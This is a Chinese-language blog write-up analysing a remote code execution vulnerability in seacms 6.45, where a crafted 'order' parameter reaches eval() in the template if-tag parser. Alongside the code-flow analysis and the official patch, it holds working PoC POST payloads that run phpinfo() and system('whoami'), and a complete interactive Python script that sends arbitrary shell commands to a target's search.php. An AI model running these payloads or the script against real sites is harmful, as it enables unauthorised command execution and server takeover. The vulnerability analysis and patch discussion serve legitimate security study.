漏洞概况
这个漏洞的成因是因为对if标签解析过滤不严导致的代码执行漏洞,这个漏洞seacms官方打过几次补丁,但是很遗憾的是每次都不太尽如人意,这次先分析seacms 6.45 版本中的漏洞成因。
复现环境
- seacms 6.45
- php 5.4.45
- Ubuntu 18.04 + mysql 5.7 + Apache2
seacms 目录结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| │──admin //后台管理目录 │ │──coplugins //已停用目录 │ │──ebak //帝国备份王数据备份 │ │──editor //编辑器 │ │──img //后台静态文件 │ │──js //后台js文件 │ │──templets //后台模板文件 │──article //文章内容页 │──articlelist //文章列表页 │──comment //评论 │ │──api //评论接口文件 │ │──images //评论静态文件 │ │──js //评论js文件 │──data //配置数据及缓存文件 │ │──admin //后台配置保存 │ │──cache //缓存 │ │──mark //水印 │ │──sessions //sessions文件 │──detail //视频内容页 │──include //核心文件 │ │──crons //定时任务配置 │ │──data //静态文件 │ │──inc //扩展文件 │ │──webscan //360安全监测模块 │──install //安装模块 │ │──images //安装模块静态文件 │ │──templates //安装模块模板 │──js //js文件 │ │──ads //默认广告目录 │ │──player //播放器目录 │──list //视频列表页 │──news //文章首页 │──pic //静态文件 │ │──faces //表情图像 │ │──member //会员模块界面 │ │──slide //旧版Flash幻灯片 │ │──zt //专题静态文件 │──templets //模板目录 │──topic //专题内容页 │──topiclist //专题列表页
|
漏洞分析
PoC 1:
1 2 3 4 5
| // URL http://192.168.247.134/seacms645/upload/search.php
// POST searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}
|
PoC 2:
1 2 3 4 5
| // URL http://192.168.247.134/seacms645/upload/search.php
// POST searchtype=5&order=}{end if}{if:1)$_POST[func]($_POST[cmd]);if(1}{end if}&func=system&cmd=whoami
|
漏洞代码出现在include/main.class.php
中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| function parseIf($content){ if (strpos($content,'{if:')=== false){ return $content; }else{ $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is"); $labelRule2="{elseif"; $labelRule3="{else}"; preg_match_all($labelRule,$content,$iar); $arlen=count($iar[0]); $elseIfFlag=false; for($m=0;$m<$arlen;$m++){ $strIf=$iar[1][$m]; $strIf=$this->parseStrIf($strIf); $strThen=$iar[2][$m]; $strThen=$this->parseSubIf($strThen); if (strpos($strThen,$labelRule2)===false){ if (strpos($strThen,$labelRule3)>=0){ $elsearray=explode($labelRule3,$strThen); $strThen1=$elsearray[0]; $strElse1=$elsearray[1]; @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
|
上面这段代码主要任务是解析{if:}{end if}
标签,取出if语句的条件判断部分(也就是$strIf
)与"if("
和"){\$ifFlag=true;}else{\$ifFlag=false;}"
拼凑完整的代码调用eval()函数执行。
关于这个正则表达式{if:(.*?)}(.*?){end if}
,只需要理解(.*?)
是什么。在正则表达式匹配中有两种匹配模式:贪婪模式和非贪婪模式。
先看一个贪婪匹配的例子:
1 2 3 4 5 6
| // 源字符串 aa<div>test1</div>bb<div>test2</div>cc // 正则表达式 <div>.*</div> // 匹配结果 <div>test1</div>bb<div>test2</div>
|
再看一个非贪婪匹配的例子:
1 2 3 4 5 6
| // 源字符串 aa<div>test1</div>bb<div>test2</div>cc // 正则表达式 <div>.*?</div> // 匹配结果 <div>test1</div>
|
通过preg_match_all()
函数匹配后将结果输出到$iar
中。
可以看到payload经过正则表达式的处理,可以得到下面的结果:
1 2 3 4 5 6
| // 原表达式 }{end if} {if:1)phpinfo();if(1}{end if} // 正则表达式 {if:(.*?)}(.*?){end if} // 匹配结果 1)phpinfo();if(1
|
在遇到第一个{if:(.*?)}
中的(.*?)
的时候匹配就已经完成。
我们看到$iar[1][95]
中的值是我们想要的值,为了调试方便,我们直接在断点处右键,将Condition设置为$m==95
。
此时"if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}"
拼凑起来就是
1
| if(1)phpinfo();if(1){$ifFlag=true;}else{$ifFlag=false;}
|
然后我们看下这个参数是如何传递到parseIf()
函数的。这个函数是在search.php
中由函数echoSearchPage()
触发:
先来看一下echoSearchPage()
这个函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| function echoSearchPage() { global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost; $order = !empty($order)?$order:time; ... ... ... $content = str_replace("{searchpage:page}",$page,$content); $content = str_replace("{seacms:searchword}",$searchword,$content); $content = str_replace("{seacms:searchnum}",$TotalResult,$content); $content = str_replace("{searchpage:ordername}",$order,$content); ... ... ... $content=replaceCurrentTypeId($content,-444); $content=$mainClassObj->parseIf($content);
|
而$order
这个参数可以通过变量覆盖来传入。我们知道造成变量覆盖漏洞比较常见的原因有下面几种:
$$
:使用foreach遍历数组中的值,然后将获取到的数据键名(key)作为变量,将数组中的键值(value)作为变量的值,从而导致了变量覆盖漏洞。
extract()
函数使用不当
parse_str()
函数使用不当
$order
参数导致的变量覆盖就是使用$$
导致的,这个我们后面再看。seacms没有对$order
变量做任何过滤,直接用这个变量替换了模板中的{searchpage:ordername}
1
| $content = str_replace("{searchpage:ordername}",$order,$content);
|
替换后的html模板内容为:
1 2 3
| <a href="{searchpage:order-time-link}" {if:"}{end if} {if:1)phpinfo();if(1}{end if}"=="time"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderhits">最新上映</a> <a href="{searchpage:order-hit-link}" {if:"}{end if} {if:1)phpinfo();if(1}{end if}"=="hit"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderaddtime">最近热播</a> <a href="{searchpage:order-score-link}" {if:"}{end if} {if:1)phpinfo();if(1}{end if}"=="score"} class="btn btn-success" {else} class="btn btn-default" {end if} id="ordergold">评分最高</a>
|
接着$content
会经过parseIf()
函数的解析。
接着我们看一下$order
参数是如何传入的。
在seacms的程序中在开头大多会包含include/common.php
文件,这个文件比较奇怪的是它会先进行变量的注册,然后再进行变量的检查,因为按照正常的流程,应该是先经过变量的检查,然后再进行变量的注册。
因为所有对Web应用的攻击都要传入有害的参数,所以代码安全的基础就是对传入的参数进行有效的过滤,比如SQL注入漏洞,如果能够过滤掉单引号就能防御大部分的string类型SQL注入。在seacms中进行参数过滤也就是对变量进行检查的代码如下:
造成变量覆盖的代码就在这个foreach
循环:
1
| foreach($$_request as $_k => $_V) ${$_k} = _RunMagicQuotes($_v);
|
我们可以传入$order
,这个变量会在${$_k}
被注册为内部变量。
这里是调用了_RunMagicQuotes()
对我们提交的变量进行检查,其实就是调用了addslashes()
函数,但这其实并不影响payload的执行。
从下图可以看到传递进来的变量已经直接注册为内部的变量了,并且经过了_RunMagicQuotes()
函数之后,我们传入的变量值并没有发生改变,这说明这些参数都是用户可控的。
PoC构造注意点
这个漏洞在构造PoC时还需要满足的条件是令$searchtype
的值为5,在进入echoSearchPage()
函数之前会先检查$searchword
和$searchtype
的值,要进入echoSearchPage()
函数必须满足以下任意一个条件:
$searchword
不为空字符串
$searchtype
为5
但是如果成功的执行payload,就必须使$searchtype
的值为5。
比如:
1
| searchword=12&order=}{end if} {if:1)phpinfo();if(1}{end if}
|
我们不传入$searchtype
的值,仅传入$searchword
。
此时的template路径就是$searchTemplatePath
也就是/templets/default/html/search.html
。
我们知道PoC成功执行的关键在于会对$content
内容进行替换,将$content
中的{searchpage:ordername}
替换为$order
中的内容,也就是}{end if} {if:1)phpinfo();if(1}{end if}
。
1 2 3 4
| $content = str_replace("{searchpage:page}",$page,$content); $content = str_replace("{seacms:searchword}",$searchword,$content); $content = str_replace("{seacms:searchnum}",$TotalResult,$content); $content = str_replace("{searchpage:ordername}",$order,$content);
|
但是在/templets/default/html/search.html
中却没有{searchpage:ordername}
当$searchtype
的值为5时,intval($searchtype)的值就是5,会进入下面这个if逻辑。
此时$searchTemplatePath
的值就是,也就是模板的路径为/templets/default/html/cascade.html
,我们可以看到在这个文件中是存在{searchpage:ordername}
的,所以可以成功被$order
替换。
整个流程分析下来,我们可以得出下面的漏洞流程图。
python 脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| __author__ = 'Bantian'
import sys import requests
def help(): print("Usage : ") print(" python %s [URL]" % sys.argv[0]) print("Example : ") print(" python %s http://example.com/search.php" % (sys.argv[0])) print("Type command 'q' for exit")
def poc(): help() if not sys.argv[1].endswith("search.php"): print("[+] Please make sure url end with search.php") else: while 1: code = input("-> ") if code != "q": postdata = { "searchtype" : "5", "order" : "}{end if}{if:1)print_r($_POST[1]($_POST[2]));//}{end if}", "1" : "system", "2" : code } r = requests.post(url = sys.argv[1], data = postdata) idx = r.text.find("<!DOCTYPE html>") print(r.text[:idx]) else: exit()
if __name__ == "__main__": try: poc() except Exception as e: print("It only works for seacms v6.45!")
|
结果:
官方补丁
该漏洞seacms在6.54版本中进行了修复,修复内容如下。
1
| $order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";
|
这样修复的目的是禁止攻击者再通过$order
参数传入payload,攻击者通过$order
传入的参数如果不为commend、time或者hit都会被清空。
参考
- https://www.cnblogs.com/tr1ple/p/11101008.html
- https://www.cnblogs.com/tr1ple/p/11100975.html
- https://bbs.ichunqiu.com/thread-35085-1-1.html
- https://www.freebuf.com/column/150731.html
Author:
Bantian
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
早睡早起身体好